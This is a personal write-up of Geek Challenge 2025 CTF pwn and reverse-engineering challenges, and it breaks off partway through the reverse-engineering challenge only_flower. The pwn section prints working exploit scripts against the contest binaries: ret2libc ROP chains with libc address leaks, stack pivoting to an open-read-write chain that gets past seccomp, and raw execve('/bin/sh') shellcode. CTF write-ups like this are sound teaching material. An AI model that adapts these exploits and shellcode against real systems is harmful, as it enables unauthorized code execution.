C0nvR3 Lab

Search workspace

Keyboard shortcuts

Ctrl + K
Open search
Esc
Close menu or dialog

ctf\Geek_Challenge_2025\index.md

Geek Challenge 2025 WP

Table of contents

这里只收录了我个人的wp,我队友的部分就不放出来了 第一次写,写的烂,就当参考吧,可能有很多地方不严谨或有误 还请各位大佬指教

PWN

old_rop

解题流程

查保护

alt text
查伪代码

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  _QWORD buf[10]; // [rsp+10h] [rbp-50h] BYREF

  write(1, "Hello, World\n", 0xDuLL);
  strcpy((char *)buf, "welcome to ret2csu , but there is sometings different,please care about it !");
  write(1, buf, 0x4DuLL);
  write(1, "\n", 1uLL);
  sub_401156(1LL);
  return 0LL;
}
ssize_t sub_401156()
{
  _BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF

  return read(0, buf, 0x200uLL);
}

在sub_401156有一个明显栈溢出,没有后门函数,打libc,得先泄露libc基址,用write打印即可,但此处没有控制rdx的gadget,只能用read的时候rdx的残余值0x200多打印一些,然后正常写rop链即可

exp

from pwn import *
# io = process('./pwn')
io = remote('geek.ctfplus.cn',32696)
libc = ELF("./libc/libc.so.6")  
elf = ELF("./pwnt") 

write_got = elf.got['write']
write_plt = elf.plt['write']

pop_rdi = 0x00000000004012d3
ret_addr = 0x000000000040101a 
read_addr = 0x0000000000401156
pop_rsi_r15 = 0x00000000004012d1

line = io.recvline()
print(line)
line = io.recvline()
print(line)

payleak = cyclic(0x88) +p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(write_got) +p64(0) + p64(write_plt) +p64(read_addr)
io.sendline(payleak)

leaked_data = io.recv(0x200)
write_addr = u64(leaked_data[0:8])
print(f"Leaked write address: {hex(write_addr)}")
libc_base = write_addr - libc.symbols['write']
print(f"Libc base: {hex(libc_base)}")

system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search(b"/bin/sh").__next__()
print("system:",hex(system_addr))
print("binsh:",hex(binsh_addr))

payload = cyclic(0x88) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
io.sendline (payload)

io.interactive()

Mission Calculator

解题流程

这题不用查保护,就是一个单纯的计算题,直接写一个for全算出来发回去就行

exp

from pwn import *
# io = process('./calc')
io = remote("geek.ctfplus.cn",31128)


line = io.recvuntil(b'...').decode()
io.sendline()
for i in range(50):
    line = io.recvuntil(b':').decode()
    calc = io.recvuntil(b'=').decode().replace('=','')
    print(calc)
    result = eval(calc)
    print(result)
    io.sendline(str(result))

io.interactive()

Mission Cipher Text

解题流程

查保护

alt text
查伪代码

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-4h]

  init(argc, argv, envp);
  banner();
  menu();
  v4 = readchoice();
  if ( v4 == 1 )
  {
    output_history();
  }
  else
  {
    if ( v4 != 2 )
      exit(0);
    submit_feedback();
  }
  return 0;
}
int readchoice()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  read(0, buf, 8uLL);
  return atoi(buf);
}
size_t submit_feedback()
{
  _BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("Please enter your feedback:");
  close(1);
  read(0, buf, 0x100uLL);
  return fwrite("\x1B[1m\x1B[95mwe are here waiting for you\x1B[0m\n", 1uLL, 0x29uLL, stderr);
}
int b4ckd00r()
{
  return system("/bin/sh");
}

有后门函数,可以ret2text,先到submit_feedback函数里构造溢出然后ret到后门函数,但是注意到submit_feedback里执行了

close(1)

关闭了标准输出,还得手动打开

exp

from pwn import *
# io = process('./text')
io = remote('geek.ctfplus.cn',31370)

backdoor_addr = 0x00000000004014AF
ret_addr = 0x000000000040101a

line = io.recvuntil(b'choice >').decode()
io.sendline('2')
io.recvline()

payload = cyclic(0x28) + p64(ret_addr) + p64(backdoor_addr)
io.sendline(payload)
io.sendline(b"exec >&2")
line = io.recvline()
print(line)

io.interactive()

Mission Exception Registration

解题流程

查保护

alt text
查伪代码

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int Input; // [rsp+Ch] [rbp-4h]

  init(argc, argv, envp);
  banner();
  user_init();
  while ( 1 )
  {
    menu();
    Input = read_int();
    if ( Input == 4 )
      exit(0);
    if ( Input > 4 )
    {
LABEL_13:
      puts("Invalid choice.");
    }
    else if ( Input == 3 )
    {
      view_resources();
    }
    else
    {
      if ( Input > 3 )
        goto LABEL_13;
      if ( Input == 1 )
      {
        register_user();
      }
      else
      {
        if ( Input != 2 )
          goto LABEL_13;
        submit_feedback();
      }
    }
  }
}
void *user_init()
{
  void *result; // rax

  *((_DWORD *)ptr + 12) = -1;
  *((_DWORD *)ptr + 13) = 0;
  memset(ptr, 0, 0x10uLL);
  memset((char *)ptr + 16, 0, 0x20uLL);
  result = ptr;
  *((_QWORD *)ptr + 7) = 0LL;
  return result;
}
int read_int()
{
  char buf[80]; // [rsp+0h] [rbp-50h] BYREF

  read(0, buf, 8uLL);
  return atoi(buf);
}
ssize_t view_resources()
{
  login();
  if ( *((_DWORD *)ptr + 12) )
  {
    puts("WELCOME, USER.");
    return write(1, &ptr, 8uLL);
  }
  else
  {
    puts(
      "Recently, our researchers successfully captured and reproduced the matrix of human thought activity and used it as"
      " a model to successfully create an independent personality matrix from scratch. This would be a great technologica"
      "l advancement. However, the Scientific Ethics Committee believes that this may be unethical and is currently evalu"
      "ating the risks of this technology.");
    puts("WELCOME, ADMINISTRATOR.");
    return write(1, (char *)ptr + 56, 8uLL);
  }
}
int register_user()
{
  if ( *((_DWORD *)ptr + 12) != -1 )
    return puts("You have already registered.");
  *((_DWORD *)ptr + 12) = 2;
  puts("Please enter your name:");
  read(0, ptr, 0x10uLL);
  puts("Please enter your password:");
  read(0, (char *)ptr + 16, 0x28uLL);
  *((_DWORD *)ptr + 13) = 1;
  *((_QWORD *)ptr + 7) = &puts;
  return puts("Registration successful.");
}
int submit_feedback()
{
  if ( *((_DWORD *)ptr + 12) == -1 )
    return puts("Please register first.");
  else
    return input();
}
int input()
{
  _BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREF

  puts("Please enter your feedback:");
  read(0, buf, 0x100uLL);
  return puts("Feedback submitted.");
}

没有后门函数,打libc,先泄露libc基址,在view_resources里,当用户状态是管理员时可以write(1, (char )ptr + 56, 8uLL); 但这个地方事实上存着((_QWORD )ptr + 7) = &puts;也就是puts的地址,在注册时,((_DWORD *)ptr + 13) = 1;存着注册状态,如果此处不为0,则是普通用户,修改为0即可,在read(0, (char *)ptr + 16, 0x28uLL);明显可以覆盖到注册状态,然后计算libc基址打libc即可

exp

from pwn import *
# context(arch='amd64',os='linux',log_level='debug',terminal=['tmux','splitw','-h'])

# io = process('./pwn')
io = remote('geek.ctfplus.cn',32070)

libc = ELF("./libc.so.6")
elf = ELF("./pwn") 

pop_rdi_addr = 0x000000000002a3e5
ret_addr = 0x0000000000029cd6

io.recvuntil(b'Your choice >>').decode()
io.sendline(b'1')
io.sendafter(b'name:', b'A' * 16)

password_payload = b'A' * 31 + b'\x00' + p32(0) + p32(0)
io.sendafter(b'password:', password_payload)

io.recvuntil(b'Your choice >>').decode()
io.sendline(b'3')
io.recvuntil(b'password:')
io.send(b'A' * 31 + b'\x00')
io.recvuntil(b'ADMINISTRATOR.\n')
leak = io.recv(8)
puts_addr = u64(leak)
log.info(f"Leaked puts address: {hex(puts_addr)}")

libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi_addr = libc_base + pop_rdi_addr
ret_addr = libc_base + ret_addr
log.info(f"Libc base: {hex(libc_base)}")
log.info(f"system address: {hex(system_addr)}")
log.info(f"/bin/sh address: {hex(bin_sh_addr)}")
log.info(f"pop rdi; ret address: {hex(pop_rdi_addr)}")
log.info(f"ret address: {hex(ret_addr)}")

io.sendline(b'2')
io.recvline()
payload = cyclic(0x18) + p64(ret_addr) + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
io.sendline(payload)

io.interactive()

次元囚笼

解题流程

查保护

alt text
查伪代码

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int Input; // [rsp+Ch] [rbp-4h] BYREF

  init(argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      __isoc99_scanf("%d", &Input);
      if ( Input != 3 )
        break;
      love_me();
    }
    if ( Input <= 3 )
    {
      if ( Input == 1 )
      {
        miss_me();
      }
      else if ( Input == 2 )
      {
        abandon_me();
      }
    }
  }
}
ssize_t love_me()
{
  puts("give me your love ");
  return read(0, buffer, 0x32uLL);
}
int abandon_me()
{
  _BYTE buf[512]; // [rsp+0h] [rbp-200h] BYREF

  printf("Is this necessary? That's my prayer");
  read(0, buf, 0x200uLL);
  return leave();
}
int leave()
{
  char dest[32]; // [rsp+0h] [rbp-20h] BYREF

  strcpy(dest, buffer);
  if ( strcmp(dest, "love") )
    return puts("it's all of you");
  puts("yes I wait for you forever");
  return read(0, buffer, 0x100uLL);
}
int Backdoor()
{
  puts("I know you pretend to love me , but this's enough");
  puts("I leave something you want,and Farewell");
  return system("/bin/sh");
}

有后门函数,但没有直接的溢出,但love_me输入到buffer可以在leave处被复制到dest上产生溢出,直接ret2text即可

exp

from pwn import *
# io = process('./cyql')
io = remote('geek.ctfplus.cn',32015)

backdoor_addr = 0x00000000004012D9

io.recvuntil(b'cin >> :')
io.sendline(b'3')
io.recvuntil(b'give me your love')

payload = cyclic(0x28) + p64(backdoor_addr)
io.sendline(payload)

io.sendlineafter(b'cin >> :', b'2')
io.sendafter(b'Is this necessary? That\'s my prayer', b'B' * 512)

io.interactive()

Mission Transponder

解题流程

查保护

alt text
查伪代码

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init();
  tip();
  repeater();
  return 0;
}
__int64 init()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  return sandbox();
}
__int64 sandbox()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = seccomp_init(0LL);
  if ( !v1 )
  {
    perror("seccomp_init failed");
    exit(1);
  }
  seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);
  if ( (unsigned int)seccomp_load(v1) )
  {
    perror("seccomp_load failed");
    seccomp_release(v1);
    exit(1);
  }
  return seccomp_release(v1);
}
int tip()
{
  puts("\x1B[1;31m[!]The transponder couldn't connect to the ES node!\x1B[0m");
  puts("\x1B[3mOur company's purpose is to serve the happiness of all mankind\x1B[0m");
  return puts("Switching to debug mode...");
}
unsigned __int64 repeater()
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("data:");
  read(0, buf, 0x40uLL);                        // leak canary
  printf("%s", buf);
  puts("logs:");
  read(0, buf, 0x200uLL);                       // stack overflow
  return v2 - __readfsqword(0x28u);
}
unsigned __int64 repeat_error()
{
  char buf[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("data:");
  read(0, buf, 8uLL);
  printf(buf);
  read(0, buf, 0x20uLL);
  return v2 - __readfsqword(0x28u);
}

首先这个题保护开的很满,还有sandbox 现在repeater里的printf泄露canary和rbp的值,然后下一次read的时候覆盖rbp为原本rbp+0x30的地方 这里把栈迁移过去,可以用之前泄露canary相同的方法泄露main的地址

alt text
再局部覆写返回地址的低字节回到偏移0x1408的地方再跑一遍repeater
alt text
然后再栈迁移一次rbp到stderr@GLIBC_2.2.5+0x30的地址那里,让printf泄露地址并算出libc基址
alt text
接下来就是libc的orw了

虽然这里其实可以用repeat_error的格式化字符串漏洞,能简单很多,但是看了篇栈迁移的例题和这里很相似,就用了稍微难一点的方法了

exp

from pwn import *
context.log_level='debug'
context.arch='amd64'

io=process('./pwn')
# io=remote('geek.ctfplus.cn',32614)
elf=ELF('./pwn')
libc=ELF('./libc.so.6')

io.sendlineafter('data:\n',b'a'*0x28)
io.recvuntil('a'*0x28)
canary=u64(io.recv(8))-0xa
stack_addr=u64(io.recv(6).ljust(8,b'\x00'))+0x30

# gdb.attach(io)
padding=b'a'*0x28+p64(canary)+p64(stack_addr)+b'\x08'
io.sendafter('logs:\n',padding)

io.sendafter('data:\n',b'a'*0x28)
io.recvuntil('a'*0x28)
base=u64(io.recv(6).ljust(8,b'\x00'))-0x1484

syscall_ret=base+0x11DD
stderr=base+0x40a0
main=base+0x1408

gdb.attach(io)
padding=b'a'*0x28+p64(canary)+p64(stderr+0x30)+p64(main)
io.sendafter('logs:\n',padding)
io.sendafter('data:\n',b'\n')
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x20a40a

open_addr=libc_base+libc.symbols['open']
read_addr=libc_base+libc.symbols['read']
write_addr=libc_base+libc.symbols['write']
stderr_addr=libc_base+0x20a4e0
pop_rdi=libc_base+0x0000000000102dea
pop_rsi=libc_base+0x0000000000053887
pop_rdx_xor_eax_eax=libc_base+0x00000000000d77bd
rax=libc_base+0x00000000000d4f97
flag_addr=stderr+0xd0
padding=p64(stderr_addr)+b'a'*0x20+p64(canary)+p64(stderr+0x30)
padding+=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(rax)+p64(2)+p64(syscall_ret)
padding+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stderr+0x200)+p64(pop_rdx_xor_eax_eax)+p64(0x100)+p64(read_addr)
padding+=p64(pop_rdi)+p64(1)+p64(pop_rdx_xor_eax_eax)+p64(0x100)+p64(write_addr)
padding+=b'./flag\x00'
io.sendafter('logs:\n',padding)

io.interactive()

Mission Ember

解题流程

查保护

alt text
查伪代码

__int64 my_heart()
{
  void *s; // [rsp+8h] [rbp-8h]

  puts("\x1B[1mTry contacting Geek HQ\x1B[0m");
  s = mmap((void *)0x405000, 0x4000uLL, 7, 34, -1, 0LL);
  memset(s, 144, 0x4000uLL);
  Sandbox();
  read(0, s, 6uLL);
  return ((__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD))s)(0LL, 0LL, 0LL);
}
__int64 Sandbox()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = seccomp_init(0LL);
  if ( !v1 )
  {
    perror("seccomp_init failed");
    exit(1);
  }
  seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);
  if ( (unsigned int)seccomp_load(v1) )
  {
    perror("seccomp_load failed");
    seccomp_release(v1);
    exit(1);
  }
  return seccomp_release(v1);
}

开了沙箱,没办法直接sh,只能orw,但是mmap了一块rwx区域,在0x405000,大小0x4000,并读入6个字节,最后会执行读入的指令,也就是说我们需要在六个字节里实现扩展写并写入完整的shellcode. 在call r8的地方下断点,查看栈和寄存器

alt text
alt text
此处需要设置扩展写需要syscall一次read,设置参数rax为0,rdi为0,rsi到刚刚mmap的rwx区域,rdx为一个很大的数,大到足够写下orw的shellcode,但是这里其实随便放进去个数就行,都够用, 但是通过mov等指令长度明显太大了,所以得使用pop用栈上的数据,但最后只有一个字节设置rax为0 此处的考点就是xchg,当xchg eax寄存器和其他寄存器时,对应的指令只有一个字节 所以可以写出shellcode

\x5A\x59\x5E\x93\x0F\x05

四个字节用于设置寄存器,两个字节syscall刚好足够

exp

from pwn import *
# context.log_level='debug'
context.arch='amd64'
# io=process('./pwn')
io=remote('geek.ctfplus.cn',32321)

# gdb.attach(io)
shellcode=b"\x5A\x59\x5E\x93\x0F\x05"

shellcode2=b'a'*6+asm(shellcraft.open('./flag')+shellcraft.read(3,0x406000,0x100)+shellcraft.write(1,0x406000,0x100))
# gdb.attach(io)
# pause()

io.send(shellcode)
io.sendline(shellcode2)
io.interactive()

血池轮回

解题流程

查保护

alt text
查伪代码

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init();
  loop();
  return 0;
}
__int64 __fastcall loop()
{
  __int64 v0; // rbx
  int i; // [rsp+4h] [rbp-1Ch]
  __int64 v3; // [rsp+8h] [rbp-18h]

  make_code_executable((unsigned __int64)&code, 32LL);
  for ( i = 0; i <= 99; ++i )
  {
    if ( idx > 9 )
    {
      puts("Your blood is completely soaked in the pool of blood");
      return 0LL;
    }
    printf("this is already %d days loop,do you want to give up ? ", idx);
    if ( (int)read(0, &code, 1uLL) <= 0 )
      break;
    v3 = code;
    if ( code == 121LL )
    {
      puts("wise choice, but no encouragement");
      return v3;
    }
    ++idx;
    printf("Blood Pool Reincarnation Start !");
    read(0, &unk_4040A1, 5uLL);
    v3 = v0;
    ((void (__fastcall *)(__int64, _QWORD, _QWORD))(&code + 1))(1LL, 0LL, 0LL);
  }
  return v3;
}
void init()
{
  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  setbuf(stderr, 0LL);
}

看一眼loop里,和上一个ember差不多,也是扩展写,但完整的shellcode长度也有限

alt text
所以直接五字节扩展写+短shellcode
alt text
在call rcx处断点,查看栈,仍然可以利用栈上的数据设置寄存器 所以得到shellcode

\x96\x5a\x5f\x0f\x05

然后扩展写,因为总空间有限,直接用shellcraft写的shellcode会太长,所以直接掏出22字节超短shellcode

\x48\x31\xF6\x56\x48\xBF\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x57\x54\x5F\xB0\x3B\x99\x0F\x05

甚至还剩一点空间

exp

from pwn import *
# context(arch='amd64',os='linux',log_level='debug')
# io = process('./pwn')
io = remote('geek.ctfplus.cn',31973)

line = io.recvline(timeout = 1)
print(line)
io.sendline()
io.recvline(timeout = 2)

sh_shellcode = cyclic(0x05) + b'\x48\x31\xF6\x56\x48\xBF\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x57\x54\x5F\xB0\x3B\x99\x0F\x05'
ex_shellcode = b'\x96\x5a\x5f\x0f\x05'

# gdb.attach(io)
io.send(ex_shellcode)

io.send(sh_shellcode)

io.interactive()

RE

encode

解题流程

打开ida查看伪代码

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int i; // [xsp+0h] [xbp-220h]
  char v5[256]; // [xsp+8h] [xbp-218h] BYREF
  char v6[256]; // [xsp+108h] [xbp-118h] BYREF

  puts("please input: ");
  scanf(v6, 256LL);
  for ( i = 0; i < encrypted_len; ++i )
    v5[i] = v6[i] ^ 0x5A;
  compare(v5, (unsigned int)encrypted_len);
  return 0;
}
int scanf(const char *a1, ...)
{
  int v1; // w1
  __int64 v2; // x10
  bool v4; // [xsp+10h] [xbp-140h]
  bool v5; // [xsp+14h] [xbp-13Ch]
  int i; // [xsp+18h] [xbp-138h]
  int v7; // [xsp+1Ch] [xbp-134h]
  int v8; // [xsp+20h] [xbp-130h]
  int v9; // [xsp+24h] [xbp-12Ch]
  _BYTE v12[256]; // [xsp+38h] [xbp-118h] BYREF

  v9 = v1;
  v7 = 0;
  do
    v8 = getchar();
  while ( v8 != -1 && (v8 == 32 || v8 == 9 || v8 == 10 || v8 == 13) );
  if ( v8 == -1 )
    return 0;
  while ( 1 )
  {
    v5 = 0;
    if ( v8 != -1 )
    {
      v5 = 0;
      if ( v8 != 32 )
      {
        v5 = 0;
        if ( v8 != 9 )
        {
          v5 = 0;
          if ( v8 != 10 )
          {
            v5 = 0;
            if ( v8 != 13 )
              v5 = v7 < v9 - 1;
          }
        }
      }
    }
    if ( !v5 )
      break;
    v2 = v7++;
    a1[v2] = v8;
    v8 = getchar();
  }
  a1[v7] = 0;
  encrypted_len = enc(a1, (unsigned int)v7, v12);
  for ( i = 0; ; ++i )
  {
    v4 = 0;
    if ( i < encrypted_len )
      v4 = i < v9;
    if ( !v4 )
      break;
    a1[i] = v12[i];
  }
  return v7;
}
__int64 __fastcall enc(__int64 a1, int a2, __int64 a3)
{
  signed int v4; // [xsp+10h] [xbp-140h]
  int v5; // [xsp+14h] [xbp-13Ch]
  int m; // [xsp+18h] [xbp-138h]
  int i; // [xsp+1Ch] [xbp-134h]
  int j; // [xsp+1Ch] [xbp-134h]
  int k; // [xsp+1Ch] [xbp-134h]
  _BYTE v11[256]; // [xsp+38h] [xbp-118h]

  v5 = 8 - a2 % 8;
  v4 = a2 + v5;
  for ( i = 0; i < a2; ++i )
    v11[i] = *(_BYTE *)(a1 + i);
  for ( j = a2; j < v4; ++j )
    v11[j] = v5;
  for ( k = 0; k < v4; k += 8 )
  {
    for ( m = 0; m < 8; ++m )
      *(_BYTE *)(a3 + k + m) = v11[k + m];
    enc_block(a3 + k, &a);
  }
  return (unsigned int)v4;
}
__int64 __fastcall enc_block(__int64 result, __int64 a2)
{
  int i; // [xsp+4h] [xbp-3Ch]
  int j; // [xsp+4h] [xbp-3Ch]
  unsigned int v4; // [xsp+8h] [xbp-38h]
  unsigned int v5; // [xsp+10h] [xbp-30h]
  unsigned int v6; // [xsp+14h] [xbp-2Ch]
  _DWORD v7[4]; // [xsp+28h] [xbp-18h]

  v4 = 0;
  v6 = _byteswap_ulong(*(_DWORD *)result);
  v5 = _byteswap_ulong(*(_DWORD *)(result + 4));
  for ( i = 0; i < 4; ++i )
    v7[i] = (*(unsigned __int8 *)(a2 + 4 * i + 1) << 16) | (*(unsigned __int8 *)(a2 + 4 * i) << 24) | (*(unsigned __int8 *)(a2 + 4 * i + 2) << 8) | *(unsigned __int8 *)(a2 + 4 * i + 3);
  for ( j = 0; j < 32; ++j )
  {
    v6 += (((v5 >> 5) ^ (16 * v5)) + v5) ^ (v4 + v7[v4 & 3]);
    v4 -= 1640531527;
    v5 += (((v6 >> 5) ^ (16 * v6)) + v6) ^ (v4 + v7[(v4 >> 11) & 3]);
  }
  *(_BYTE *)result = HIBYTE(v6);
  *(_BYTE *)(result + 1) = BYTE2(v6);
  *(_BYTE *)(result + 2) = BYTE1(v6);
  *(_BYTE *)(result + 3) = v6;
  *(_BYTE *)(result + 4) = HIBYTE(v5);
  *(_BYTE *)(result + 5) = BYTE2(v5);
  *(_BYTE *)(result + 6) = BYTE1(v5);
  *(_BYTE *)(result + 7) = v5;
  return result;
}

首先main里面的scanf并不是真的scanf,里面有套娃,先在这个假的scanf里去除一些特殊字符后到enc里, 然后分块,并从&a处得到key

geek2025reverse!

然后enc_block里分别加密,是一个轮数为32的XTEA 最后将加密得到的密文与每位分别与0x5a异或,然后base64后与&unk_100003EF1处保存的密文比较

exp

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

void dec_block(uint8_t *block, const uint32_t *key) {
    uint32_t v4 = 0xC6EF3720; // 32 * 0x9E3779B9的补码
    uint32_t v6, v5;
    
    v6 = (block[0] << 24) | (block[1] << 16) | (block[2] << 8) | block[3];
    v5 = (block[4] << 24) | (block[5] << 16) | (block[6] << 8) | block[7];
    
    for (int j = 0; j < 32; ++j) {
        v5 -= (((v6 >> 5) ^ (v6 << 4)) + v6) ^ (v4 + key[(v4 >> 11) & 3]);
        v4 += 0x61C88647; // 0x9E3779B9的补码
        v6 -= (((v5 >> 5) ^ (v5 << 4)) + v5) ^ (v4 + key[v4 & 3]);
    }
    
    block[0] = (v6 >> 24) & 0xFF;
    block[1] = (v6 >> 16) & 0xFF;
    block[2] = (v6 >> 8) & 0xFF;
    block[3] = v6 & 0xFF;
    block[4] = (v5 >> 24) & 0xFF;
    block[5] = (v5 >> 16) & 0xFF;
    block[6] = (v5 >> 8) & 0xFF;
    block[7] = v5 & 0xFF;
}

void expand_key(const char *key_str, uint32_t *expanded_key) {
    for (int i = 0; i < 4; ++i) {
        expanded_key[i] = ((uint8_t)key_str[4 * i] << 24) |
                         ((uint8_t)key_str[4 * i + 1] << 16) |
                         ((uint8_t)key_str[4 * i + 2] << 8) |
                         (uint8_t)key_str[4 * i + 3];
    }
}

int decrypt_data(const uint8_t *encrypted_data, int encrypted_len, 
                 const char *key_str, uint8_t *decrypted_data) {
   
    uint32_t expanded_key[4];
    expand_key(key_str, expanded_key);
    
    uint8_t *temp_buffer = (uint8_t *)malloc(encrypted_len);
    memcpy(temp_buffer, encrypted_data, encrypted_len);
    
    for (int k = 0; k < encrypted_len; k += 8) {
        dec_block(temp_buffer + k, expanded_key);
    }
    
    int padding = temp_buffer[encrypted_len - 1];
    if (padding < 1 || padding > 8) {
        printf("Error: Invalid padding\n");
        free(temp_buffer);
        return -1;
    }
        
    int original_len = encrypted_len - padding;
    memcpy(decrypted_data, temp_buffer, original_len);
    
    free(temp_buffer);
    return original_len;
}

int main() {
    const char *key = "geek2025reverse!";
    uint8_t encrypted_data[] = {
0xE6, 0x46, 0x8D, 0x85, 0x18, 0xF2, 0x9C, 0x07, 0x9D, 0xFE, 0x6C, 0xC2, 0x32, 0x08, 0x10, 0xDD, 0x7A, 0x25, 0x8F, 0x93, 0x74, 0x0E, 0x73, 0x86, 0xB9, 0x5C, 0x3B, 0xF5, 0x5F, 0x4C, 0x22, 0x81, 0xC3, 0xCA, 0x56, 0x31, 0xA3, 0x53, 0xA3, 0x0B, 0xFC, 0x41, 0xFC, 0xA6, 0xFC, 0xC2, 0x70, 0xBE
    };
    int encrypted_len = sizeof(encrypted_data);
    
    uint8_t *decrypted_data = (uint8_t *)malloc(encrypted_len);

    int decrypted_len = decrypt_data(encrypted_data, encrypted_len, key, decrypted_data);
    
    if (decrypted_len > 0) {
        printf("Output:");
        for (int i = 0; i < decrypted_len; ++i) {
            printf("%c", decrypted_data[i]);
        }
    }
    
    free(decrypted_data);
    return 0;
}

flag

SYC{St4nd4rd_Funct10n_N0t_4lw4ys_St4nd4rd}

ez_pyyy

解题流程

直接把pyc文件还原成py文件得到

# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: 太好了是python糕手我们有救了.py
# Bytecode version: 3.8.0rc1+ (3413)
# Source timestamp: 2025-10-04 12:43:26 UTC (1759581806)

cipher = [48, 55, 57, 50, 53, 55, 53, 50, 52, 50, 48, 55, 101, 52, 53, 50, 52, 50, 52, 50, 48, 55, 53, 55, 55, 55, 50, 54, 53, 55, 54, 55, 55, 55, 53, 54, 98, 55, 97, 54, 50, 53, 56, 52, 50, 52, 99, 54, 50, 50, 52, 50, 50, 54]

def str_to_hex_bytes(s: str) -> bytes:
    return s.encode('utf-8')

def enc(data: bytes, key: int) -> bytes:
    return bytes([b ^ key for b in data])

def en3(b: int) -> int:
    return b << 4 & 240 | b >> 4 & 15

def en33(data: bytes, n: int) -> bytes:
    """整体 bitstream 循环左移 n 位"""
    bit_len = len(data) * 8
    n = n % bit_len
    val = int.from_bytes(data, 'big')
    val = (val << n | val >> bit_len - n) & (1 << bit_len) - 1
    return val.to_bytes(len(data), 'big')
if __name__ == '__main__':
    flag = ''
    data = str_to_hex_bytes(flag)
    data = enc(data, 17)
    data = bytes([en3(b) for b in data])
    data = data[::-1]
    data = en33(data, 32)
    if data.hex() == cipher:
        print('Correct! ')
    else:
        print('Wrong')

加密很简单,总之就是将字符串转换为字节、异或操作、交换每个字节的高低4位、反转字节序列、整体循环左移32位,直接反过来跑一遍就行

exp

cipher = [48, 55, 57, 50, 53, 55, 53, 50, 52, 50, 48, 55, 101, 52, 53, 50, 52, 50, 52, 50, 48, 55, 53, 55, 55, 55, 50, 54, 53, 55, 54, 55, 55, 55, 53, 54, 98, 55, 97, 54, 50, 53, 56, 52, 50, 52, 99, 54, 50, 50, 52, 50, 50, 54]

def en3(b: int) -> int:
    return b << 4 & 240 | b >> 4 & 15

def en33(data: bytes, n: int) -> bytes:
    """整体 bitstream 循环左移 n 位"""
    bit_len = len(data) * 8
    n = n % bit_len
    val = int.from_bytes(data, 'big')
    val = (val << n | val >> bit_len - n) & (1 << bit_len) - 1
    return val.to_bytes(len(data), 'big')

# 将 cipher 转换为十六进制字符串
target_hex = ''.join(chr(c) for c in cipher)
encrypted = bytes.fromhex(target_hex)

total_bits = len(encrypted) * 8
data1 = en33(encrypted, total_bits - 32)

data2 = data1[::-1]

data3 = bytes([en3(b) for b in data2])

data4 = bytes([b ^ 17 for b in data3])

flag = data4.decode('utf-8')
print(flag)

flag

SYC{jtfgdsfda554_a54d8as53}

only_flower

解题流程

直接打开ida看不了伪代码,需要先解决花指令的混淆 将循环的jmp的指令nop掉后可以得到

int main()
{
  char Input[256]; // [esp+14h] [ebp-10Ch] BYREF
  uint8_t *v2; // [esp+114h] [ebp-Ch]
  size_t Len; // [esp+118h] [ebp-8h]
  size_t Input_len; // [esp+11Ch] [ebp-4h]

  __main();
  printf("Welcome to Flowerdance. Input your flag: ");
  if ( !fgets(Input, 256, (FILE *)__iob[0]._ptr) )
    return 0;
  Input_len = strlen(Input);
  if ( Input_len && Input[Input_len - 1] == 10 )
    Input[--Input_len] = 0;
  if ( checkcheck(Input) )
  {
    Len = strlen(Input);
    if ( Len == 28 )
    {
      v2 = (uint8_t *)malloc(0x1Cu);
      if ( v2 )
      {
        encrypt((const uint8_t *)Input, v2, Len);
        if ( !memcmp(v2, CIPHER, Len) )
        {
          puts("Correct! Flowerdance!");
        }
        else
        {
          puts("Incorrect. Keep dancing.");
          hint();
        }
        free(v2);
        return 0;
      }
      else
      {
        return 0;
      }
    }
    else
    {
      printf("Wrong length (expected %lu bytes including braces).\n", 28);
      hint();
      return 0;
    }
  }
  else
  {
    puts("Bad format..");
    hint();
    return 0;
  }
}
void __cdecl encrypt(const uint8_t *in, uint8_t *out, size_t len)
{
  size_t klen; // [esp+18h] [ebp-10h]
  size_t i; // [esp+1Ch] [ebp-Ch]

  klen = strlen(KEY);
